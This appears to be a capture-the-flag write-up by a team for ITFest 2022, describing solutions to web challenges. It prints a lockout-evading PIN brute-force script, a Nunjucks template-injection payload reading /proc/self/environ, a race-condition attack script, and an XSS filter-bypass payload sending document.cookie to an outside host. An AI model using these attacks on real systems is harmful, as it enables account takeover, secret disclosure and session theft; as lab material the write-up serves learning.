# ITFest CTF 2022 - Writeups by WeBareBears
### Members:
- Silaghi Fineas Florin
- Valase Paul Mihai
- Han Leonard
### Solved Challenges:
- Welcome
- Administrator's page
- Birthday card
- Bank loan
- Secret Santa (50%)
# Writeups
## Welcome
> Welcome to ITFest 2022 CTF! We have made a list of our favorite programming languages. Can you guess what they are?
By having a look at the source code we see this function, which seems to be rot13, and we find another `textarea` tag which seems to be our flag, but rot13-ed
```javascript=
<textarea class="ascuns" id="toDecrypt" onClick="decryptMe()">VGSrfg{nor8qq-psn610-63onrn-no7q6p}</textarea>
function decryptMe(){
if(document.querySelector('#toDecrypt').value==""){
alert("Empty field to decrypt.");
}
var t = document.querySelector('#toDecrypt').value.split('')
var key = 'abcdefghijklmnopqrstuvwxyz'
var word = ''
t.forEach((letter)=>{
idx = key.indexOf(letter.toLowerCase());
if(idx !== -1){
idx >= key.length / 2 ?
letter == letter.toUpperCase() ?
word += key[13-(key.length - idx)].toUpperCase() :
word += key[13-(key.length - idx)] :
letter == letter.toUpperCase() ?
word += key[idx + 13].toUpperCase() :
word += key[idx + 13];
} else {
idx === -1 ? word += letter : '';
}
});
document.querySelector('#myDecryptedMessage').innerText = word
}
</script>
```
It can be done multiple ways, but i just used <a href="https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=VkdTcmZne25vcjhxcS1wc242MTAtNjNvbnJuLW5vN3E2cH0">cyberchef</a> with ROT13 recipe (it is included in the link)

**Flag: ITFest{abe8dd-cfa610-63baea-ab7d6c}**
## Administrator's page
> While exploring this CTF server, you fall upon a login page for its administrators. As a responsible whitehat, you only wish to help secure their server, but they aren't responding to their emails. You decide to take matters into your own hands!
First we need to find valid usernames for this, and by using tools like `gobuster` or `dirbuster` we can easily find a endpoint `/usernames` which has a lot of usernames, i chose one with more letters `so there will be more permutations, so more tries to brute-force the pin`
There is also a login page, and also a reset your password prompt, playing around using burp, I noticed that for some reason the app doesn't use `.lower`, or `.upper` when submitting the pin, and we can use permutations of lower and upper chars to brute-force the pin because it checks that the username we try wasn't before ( being case-sensitive ).
Did it using this script:
```python3
import requests
from threading import Thread
import itertools
import sys
s = 'kimberly.emily'
test = map(''.join, itertools.product(*zip(s.upper(), s.lower())))
l = [f for f in test]
print(len(l))
input()
def make_requests(val):
s = 200 * val
cPin = s
uName = 0 + val
for i in range(s, 200 * (val+1)):
for j in range(1):
d = requests.post("http://10.66.6.227:20822/forgotpwd/pin?username=b", data={
"username": l[uName + (80 * val)],
"pin": cPin
})
cPin += 1
if "Invalid PIN" in d.text:
print(f"{cPin} invalid")
continue
elif "locked out" in d.text:
print('locked')
sys.exit()
else:
print(d.text, i)
uName += 1
for i in range(50):
new_thread = Thread(target=make_requests, args=(i,))
new_thread.start()
cPin = 0
new_thread.join()
```

**Flag: ITFest{r32mjr-n7vfe4-yqh0uh-az7rsd}**
## Birthday card
> Your best friend's birthday is coming up, so you think about sending him a nice birthday card. Best to think of a nice message to warm their day!
This challange was about SSTI in the message field of the birthday card.By trial&error i deduced that it was using nunjucks syntax `{%+raw+%}{{range.constructor("return+global.process.mainModule.require('fs')")()}}{%+endraw+%}` this payload returns the text as it is between the brackets. Using this site https://www.11ty.dev/docs/languages/nunjucks/ we see that
```
Includes (Relative Path)
Relative paths use ./ (template’s directory) or ../ (template’s parent directory).
Example: {% include './included.njk' %} looks for included.njk in the template’s current directory. Does not process front matter in the include file.
```
So, after trying it, we see that it works,and we have lfi. So now we have to search for the flag, and it is in the environment variables of the process running the app `/proc/self/environ`.
```python
POST /generate HTTP/1.1
Host: 10.66.6.227:20922
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.66.6.227:20922/
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: http://10.66.6.227:20922
Connection: close
Upgrade-Insecure-Requests: 1
name=test1&message=%7B%25+include+%22%2Fproc%2Fself%2Fenviron%22+%25%7D&
date=2021-12-11
```
```html
<p class="card-text">
Great! The birthday card for test1 has been generated and
can be viewed <a href="/card/38d5eb4dc76bdd0b9e62f20381">here</a>
```

**Flag: ITFest{3kqy45-xxk2tk-yqh0uh-unqfqd}**
## Bank loan
> Our bank just opened and is offering incredibly favorable loans to anyone who signs up. This is not all however: our bank also doubles as an online store, offering a nice assortment of sweets and other goodies.
Came up to me as a race condition as soon as i saw the loan limit, and the option to buy the flag if we have 1337 coins. As i don't have burp professional, I used the `turbo intruder` extension (can be installed from user-options) and used by `right click-> extension-> turbo intruder -> send to turbo intruder`, which allows us to write python code for configuring the attack, and run them multi-threaded, and also being able to pipeline the requests. After multiple tries, and registering users after users (i could only get around 1200 coins, and had to play around with the cocurentConnections, and the number of requests) i finally made myself 1380 coins to buy the flag.
```javascript
POST / HTTP/1.1
Host: 10.66.6.227:50090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.66.6.227:50090/
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://10.66.6.227:50090
Connection: close
Cookie: session=.eJwNy1EKgzAMANC75HsFE5s09TLStAmIMMHNL_Hu2_t_N_TPGev32P0NC5D1EcaKYpwNSdAzMWrUVidRE4s2F2zwguvaxn-4jHAdnrgQpuydUi1kibmyN5qV-wTPDy0qHPw.Y5W9Mw.tArtUhYygF_5HP7Ofma03l3J2Tg
Upgrade-Insecure-Requests: 1
csrf_token=IjJiY2RmYjU4MTZiNTRiMTI2MWU0MjUxOGY5YTkwNjhiNmJmYTM3MWEi.Y5W9aA.YSGuewMCO7nMODjLDtGVMGu_Ico&loan=99
```
```python=
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1000,
requestsPerConnection=1000,
pipeline=True
)
for word in range(222):
engine.queue(target.req)
def handleResponse(req, interesting):
# currently available attributes are req.status,
# req.wordcount, req.length and req.response
if req.status != 404:
table.add(req)
```



**Flag: ITFest{f8fmjt-1qvf3m-f1h0uh-6t188h}**
## Secret Santa
After some payloads, we see that that it only removes script one time, and ```<scrSCRIPTipt>document.location.href = "http://10.8.0.14/?" + document.cookie;</scrSCRIPTipt>``` works if i trigger it in my browser. Also you had to use the lowerst ammount of donation, because you can only receive around 0.0001... .


After that using some sites, https://testnet-faucet.com/btc-testnet/ or any of these that work

Transfer the btc to the wallet provided to us by the elfs, and then after approval, the xss should be executed, but idk why, mine didn't work
